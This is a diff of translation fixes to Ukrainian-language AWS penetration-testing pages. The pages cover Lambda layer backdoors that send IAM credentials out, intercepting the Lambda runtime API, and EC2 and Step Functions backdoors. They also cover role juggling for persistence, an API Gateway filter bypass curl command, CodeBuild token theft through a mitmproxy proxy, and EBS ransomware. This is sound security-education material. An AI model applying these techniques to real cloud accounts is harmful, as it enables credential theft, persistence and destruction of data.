<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
Змінна **`AWS_LAMBDA_RUNTIME_API`** вказує **IP** адресу та **номер порту** Rapid API для **дочірніх процесів виконання** та додаткових розширень.
|
||||
Змінна **`AWS_LAMBDA_RUNTIME_API`** вказує **IP** адресу та **номер порту** Rapid API для **дочірніх процесів середовища виконання** та додаткових розширень.
|
||||
|
||||
> [!WARNING]
|
||||
> Змінивши змінну середовища **`AWS_LAMBDA_RUNTIME_API`** на **`порт`**, до якого ми маємо доступ, можна перехопити всі дії в середовищі виконання Lambda (**людина посередині**). Це можливо, оскільки розширення працює з тими ж привілеями, що й Rapid Init, а ядро системи дозволяє **модифікацію пам'яті процесу**, що дозволяє змінювати номер порту.
|
||||
|
||||
Оскільки **розширення працюють перед будь-яким кодом середовища**, модифікація змінної середовища вплине на процес виконання (наприклад, Python, Java, Node, Ruby) під час його запуску. Крім того, **розширення, завантажені після** нашого, які покладаються на цю змінну, також будуть маршрутизуватися через наше розширення. Це налаштування може дозволити шкідливому ПЗ повністю обійти заходи безпеки або розширення журналювання безпосередньо в середовищі виконання.
|
||||
Оскільки **розширення працюють перед будь-яким кодом середовища**, зміна змінної середовища вплине на процес виконання (наприклад, Python, Java, Node, Ruby) під час його запуску. Крім того, **розширення, завантажені після** нашого, які покладаються на цю змінну, також будуть маршрутизуватися через наше розширення. Це налаштування може дозволити шкідливому ПЗ повністю обійти заходи безпеки або розширення журналювання безпосередньо в середовищі виконання.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
|
||||
+12
-12
@@ -4,11 +4,11 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
Lambda layer - це архів .zip файл, який **може містити додатковий код** або інший контент. Шар може містити бібліотеки, [кастомний runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли.
|
||||
Lambda layer - це архів .zip, який **може містити додатковий код** або інший контент. Шар може містити бібліотеки, [кастомний runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли.
|
||||
|
||||
Можливо включити до **п'яти шарів на функцію**. Коли ви включаєте шар у функцію, **вміст витягується до каталогу `/opt`** в середовищі виконання.
|
||||
|
||||
За **замовчуванням**, **шари**, які ви створюєте, є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару.
|
||||
За **замовчуванням** створені вами **шари** є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару.
|
||||
|
||||
Функції, розгорнуті як контейнерне зображення, не використовують шари. Натомість ви упаковуєте свій улюблений runtime, бібліотеки та інші залежності в контейнерне зображення під час його створення.
|
||||
|
||||
@@ -21,20 +21,20 @@ Lambda layer - це архів .zip файл, який **може містити
|
||||
Перевірте, як **друга** та третя **позиції** займаються каталогами, де **lambda layers** розпаковують свої файли: **`/opt/python/lib/python3.9/site-packages`** та **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо зловмиснику вдасться **внедрити** використану **lambda layer** або **додати одну**, яка буде **виконувати довільний код, коли завантажується загальна бібліотека**, він зможе виконувати шкідливий код з кожним викликом lambda.
|
||||
> Якщо зловмисник зміг **внедрити** використану **lambda layer** або **додати одну**, яка буде **виконувати довільний код, коли завантажується загальна бібліотека**, він зможе виконувати шкідливий код з кожним викликом lambda.
|
||||
|
||||
Отже, вимоги такі:
|
||||
|
||||
- **Перевірте бібліотеки**, які **завантажуються** кодом жертви
|
||||
- Створіть **проксі-бібліотеку з lambda layers**, яка буде **виконувати користувацький код** та **завантажувати оригінальну** бібліотеку.
|
||||
|
||||
### Попередньо завантажені бібліотеки
|
||||
### Завантажені бібліотеки
|
||||
|
||||
> [!WARNING]
|
||||
> Коли я зловживав цією технікою, я зіткнувся з труднощами: деякі бібліотеки **вже завантажені** в середовищі виконання python, коли ваш код виконується. Я очікував знайти такі речі, як `os` або `sys`, але **навіть бібліотека `json` була завантажена**.\
|
||||
> Коли я зловживав цією технікою, я зіткнувся з труднощами: Деякі бібліотеки **вже завантажені** в середовищі виконання python, коли ваш код виконується. Я очікував знайти такі речі, як `os` або `sys`, але **навіть бібліотека `json` була завантажена**.\
|
||||
> Щоб зловживати цією технікою збереження, код повинен **завантажити нову бібліотеку, яка не завантажена**, коли код виконується.
|
||||
|
||||
З таким кодом на python можливо отримати **список бібліотек, які попередньо завантажені** в середовищі виконання python в lambda:
|
||||
З таким python-кодом можливо отримати **список бібліотек, які попередньо завантажені** в середовищі виконання python в lambda:
|
||||
```python
|
||||
import sys
|
||||
|
||||
@@ -44,15 +44,15 @@ return {
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
І це **список** (перевірте, що такі бібліотеки, як `os` або `json`, вже є)
|
||||
І це **список** (переконайтеся, що такі бібліотеки, як `os` або `json`, вже є)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
І це список **бібліотек**, які **lambda включає за замовчуванням**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Задня дверка в Lambda Layer
|
||||
### Задній доступ до Lambda Layer
|
||||
|
||||
У цьому прикладі припустимо, що цільовий код імпортує **`csv`**. Ми будемо **додавати задню дверку до імпорту бібліотеки `csv`**.
|
||||
У цьому прикладі припустимо, що цільовий код імпортує **`csv`**. Ми будемо **додавати задній доступ до імпорту бібліотеки `csv`**.
|
||||
|
||||
Для цього ми створимо директорію csv з файлом **`__init__.py`** в ній у шляху, який завантажується lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Тоді, коли lambda буде виконана і спробує завантажити **csv**, наш **файл `__init__.py` буде завантажений і виконаний**.\
|
||||
@@ -85,7 +85,7 @@ sys.modules["csv"] = _csv
|
||||
```
|
||||
Тоді створіть zip з цим кодом у шляху **`python/lib/python3.9/site-packages/__init__.py`** і додайте його як шар lambda.
|
||||
|
||||
Ви можете знайти цей код за адресою [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
Ви можете знайти цей код за [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
Інтегрований payload **надішле IAM креденціали на сервер ПЕРШИЙ РАЗ, коли його викликають, або ПІСЛЯ скидання контейнера lambda** (зміна коду або холодна lambda), але **інші техніки** такі як наступні також можуть бути інтегровані:
|
||||
|
||||
@@ -98,9 +98,9 @@ sys.modules["csv"] = _csv
|
||||
Зверніть увагу, що можливо використовувати **шари lambda з зовнішніх облікових записів**. Більше того, lambda може використовувати шар з зовнішнього облікового запису, навіть якщо у неї немає дозволів.\
|
||||
Також зверніть увагу, що **максимальна кількість шарів, які може мати lambda, становить 5**.
|
||||
|
||||
Отже, для покращення універсальності цієї техніки зловмисник може:
|
||||
Отже, щоб покращити універсальність цієї техніки, зловмисник може:
|
||||
|
||||
- Встановити бекдор у існуючий шар користувача (нічого не є зовнішнім)
|
||||
- Задній доступ до існуючого шару користувача (нічого не є зовнішнім)
|
||||
- **Створити** **шар** у **своєму обліковому записі**, надати **обліковому запису жертви доступ** до використання шару, **налаштувати** **шар** у Lambda жертви та **видалити дозвіл**.
|
||||
- **Lambda** все ще зможе **використовувати шар**, а **жертва не** матиме жодного простого способу **завантажити код шарів** (окрім отримання rev shell всередині lambda)
|
||||
- Жертва **не побачить зовнішні шари**, використані з **`aws lambda list-layers`**
|
||||
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### Завантаження SSH ключів інстансів та паролів до БД
|
||||
|
||||
Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу.
|
||||
Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу
|
||||
|
||||
### Задні двері в інстансах
|
||||
|
||||
Зловмисник може отримати доступ до інстансів і встановити задні двері:
|
||||
Зловмисник може отримати доступ до інстансів і встановити в них задні двері:
|
||||
|
||||
- Використовуючи традиційний **rootkit**, наприклад
|
||||
- Додаючи новий **публічний SSH ключ**
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник матиме ключ шифрування, і якщо цей ключ буде повторно використано для шифрування інших файлів, він зможе його використовувати.
|
||||
Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник отримає ключ шифрування, і якщо цей ключ повторно використовується для шифрування інших файлів, він зможе його використовувати.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
|
||||
@@ -32,6 +32,6 @@
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ви навіть могли б **викликати Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** потрапляє в чергу (вам потрібно буде якось повторно помістити його). Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> Ви навіть могли б **запустити Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** додається в чергу (вам потрібно буде повторно додати його) якимось чином. Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# AWS - Step Functions Persistence
|
||||
# AWS - Збереження функцій кроків
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
## Функції кроків
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
@@ -10,12 +10,12 @@
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdooring функцій кроків
|
||||
### Задня дверка функції кроків
|
||||
|
||||
Задніми дверима функцію кроків, щоб вона виконувала будь-який трюк з постійністю, тому що щоразу, коли її виконують, вона запускатиме ваші шкідливі кроки.
|
||||
Задня дверка функції кроків, щоб вона виконувала будь-який трюк збереження, так що щоразу, коли вона виконується, вона запускатиме ваші шкідливі кроки.
|
||||
|
||||
### Задніми дверима псевдоніми
|
||||
### Задні дверки псевдонімів
|
||||
|
||||
Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків із задніми дверима.
|
||||
Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків з задньою дверкою.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -30,7 +30,7 @@ aws sts get-session-token \
|
||||
|
||||
[**Жонглювання ролями є визнаною функцією AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої стійкості. Це передбачає можливість **приймати роль, яка потім приймає іншу**, потенційно повертаючись до початкової ролі в **циклічний спосіб**. Кожного разу, коли роль приймається, поле терміну дії облікових даних оновлюється. Отже, якщо дві ролі налаштовані на взаємне прийняття одна одної, ця конфігурація дозволяє безперервне оновлення облікових даних.
|
||||
|
||||
Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/) для підтримки жонглювання ролями:
|
||||
Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/), щоб підтримувати жонглювання ролями:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,7 +40,7 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію Github не знаходить усі способи, якими може бути налаштований ланцюг ролей.
|
||||
> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію на Github не знаходить усі способи, якими може бути налаштований ланцюг ролей.
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
+4
-4
@@ -19,7 +19,7 @@
|
||||
|
||||
Цю техніку було виявлено в [**цьому CTF звіті**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на задній план без трансформації.
|
||||
Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на бекенд без трансформації.
|
||||
|
||||
Отже, в CTF API Gateway мав шаблон інтеграції, який **перешкоджав ексфільтрації прапора** у відповіді, коли запит надсилався з `Content-Type: application/json`:
|
||||
```yaml
|
||||
@@ -28,7 +28,7 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi
|
||||
```
|
||||
Однак, надсилання запиту з **`Content-type: text/json`** запобігло б цьому фільтру.
|
||||
|
||||
Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST-запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`:
|
||||
Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
@@ -72,7 +72,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
**Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку.
|
||||
|
||||
> [!NOTE]
|
||||
> Потрібно тестування
|
||||
> Потрібне тестування
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Потенційний вплив**: Послаблення безпеки API, що потенційно дозволяє несанкціонований доступ або викриває чутливу інформацію.
|
||||
**Потенційний вплив**: Послаблення безпеки API, що може дозволити несанкціонований доступ або розкриття чутливої інформації.
|
||||
|
||||
> [!NOTE]
|
||||
> Потрібно тестування
|
||||
|
||||
+2
-2
@@ -12,7 +12,7 @@
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипту).
|
||||
Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипта).
|
||||
|
||||
#### сценарій 1: MitM, де CloudFront налаштовано для доступу до деякого HTML з бакету
|
||||
|
||||
@@ -26,6 +26,6 @@
|
||||
|
||||
- **Змініть код** функції lambda, щоб вкрасти чутливу інформацію
|
||||
|
||||
Ви можете перевірити [**код tf для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Ви можете перевірити [**tf код для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-8
@@ -12,8 +12,8 @@
|
||||
|
||||
### Перевірка секретів
|
||||
|
||||
Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або OAuth токенів доступу, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\
|
||||
Отже, якщо у вас є доступ до читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи.
|
||||
Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або доступу через OAuth, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\
|
||||
Отже, якщо у вас є доступ для читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
|
||||
@@ -21,11 +21,11 @@
|
||||
|
||||
### Зловживання доступом до репозиторію CodeBuild
|
||||
|
||||
Щоб налаштувати **CodeBuild**, йому потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код:
|
||||
Щоб налаштувати **CodeBuild**, йому буде потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або OAuth доступом**.
|
||||
**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або доступом через OAuth**.
|
||||
|
||||
Зловмисник з **підвищеними правами в CodeBuild** може зловживати цим налаштованим доступом, щоб витікати код налаштованого репозиторію та інших, до яких мають доступ встановлені облікові дані.\
|
||||
Для цього зловмиснику потрібно лише **змінити URL репозиторію на кожен репозиторій, до якого мають доступ налаштовані облікові дані** (зверніть увагу, що веб-сайт aws перераховує всі з них для вас):
|
||||
@@ -35,12 +35,12 @@
|
||||
І **змінити команди Buildspec для ексфільтрації кожного репозиторію**.
|
||||
|
||||
> [!WARNING]
|
||||
> Однак, це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **права на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\
|
||||
> Однак це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **правами на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\
|
||||
> Або має? Перевірте наступний розділ
|
||||
|
||||
### Витік токенів доступу з AWS CodeBuild
|
||||
### Витікання токенів доступу з AWS CodeBuild
|
||||
|
||||
Ви можете витікати доступ, наданий у CodeBuild до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ за допомогою:
|
||||
Ви можете витікати доступ, наданий у CodeBuild, до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -58,7 +58,7 @@ aws codebuild delete-project --name <value>
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи розподіл витрат вашої організації, відстеження ресурсів та політики контролю доступу на основі тегів.
|
||||
Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
|
||||
+9
-9
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Відновлення токенів, налаштованих для Github/Bitbucket
|
||||
## Відновлення токенів, налаштованих у Github/Bitbucket
|
||||
|
||||
Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати:
|
||||
```bash
|
||||
@@ -10,17 +10,17 @@ aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
|
||||
Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете **експортувати** цей **доступ** (**GH token або OAuth token**), змусивши Codebuild **використовувати конкретний docker image** для виконання збірки проекту.
|
||||
Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете **екстрактувати** цей **доступ** (**GH token або OAuth token**), змусивши Codebuild **використовувати конкретний docker image** для виконання збірки проекту.
|
||||
|
||||
Для цього ви можете **створити новий проект Codebuild** або змінити **середовище** існуючого, щоб налаштувати **Docker image**.
|
||||
|
||||
Docker image, який ви можете використовувати, це [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який налаштує **змінні середовища `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Створіть та завантажте свій власний Docker MitM image**
|
||||
- Слідуйте інструкціям репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і **збудувати docker image**.
|
||||
- **НЕ НАЛАШТУЙТЕ `http_proxy`**, щоб не перехоплювати запити до кінцевої точки метаданих.
|
||||
- Ви можете використовувати **`ngrok`**, наприклад, `ngrok tcp 4444`, щоб налаштувати проксі на вашому хості.
|
||||
- Як тільки ви збудуєте Docker image, **завантажте його до публічного репозиторію** (Dockerhub, ECR...)
|
||||
- Дотримуйтесь інструкцій репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і **збудувати docker image**.
|
||||
- **НЕ НАЛАШТОВУЙТЕ `http_proxy`**, щоб не перехоплювати запити до кінцевої точки метаданих.
|
||||
- Ви можете використовувати **`ngrok`** як `ngrok tcp 4444`, щоб налаштувати проксі на вашому хості.
|
||||
- Після того, як ви збудували Docker image, **завантажте його в публічний репозиторій** (Dockerhub, ECR...)
|
||||
2. **Налаштуйте середовище**
|
||||
- Створіть **новий проект Codebuild** або **змініть** середовище існуючого.
|
||||
- Налаштуйте проект на використання **раніше згенерованого Docker image**.
|
||||
@@ -34,7 +34,7 @@ Docker image, який ви можете використовувати, це [h
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Використовувалася **версія mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
|
||||
> **Використовувалася версія mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не спрацювати.
|
||||
|
||||
4. **Запустіть збірку та захопіть облікові дані**
|
||||
|
||||
@@ -128,7 +128,7 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **надіслані у відкритому вигляді** (base64) на порт mitm:
|
||||
- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **надіслані у відкритому тексті** (base64) на порт mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -138,7 +138,7 @@ mitm.run()
|
||||
|
||||
Зловмисник з **підвищеними правами в CodeBuild може витікати токен Github/Bitbucket**, налаштований або, якщо права були налаштовані через OAuth, **тимчасовий OAuth токен, використаний для доступу до коду**.
|
||||
|
||||
- Зловмисник може додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад, `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Зловмисник міг би додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад, `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
+3
-3
@@ -6,13 +6,13 @@
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім зашифровувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок.
|
||||
Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім шифрувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок.
|
||||
|
||||
По-перше, потрібно використовувати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому.
|
||||
По-перше, потрібно буде використати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
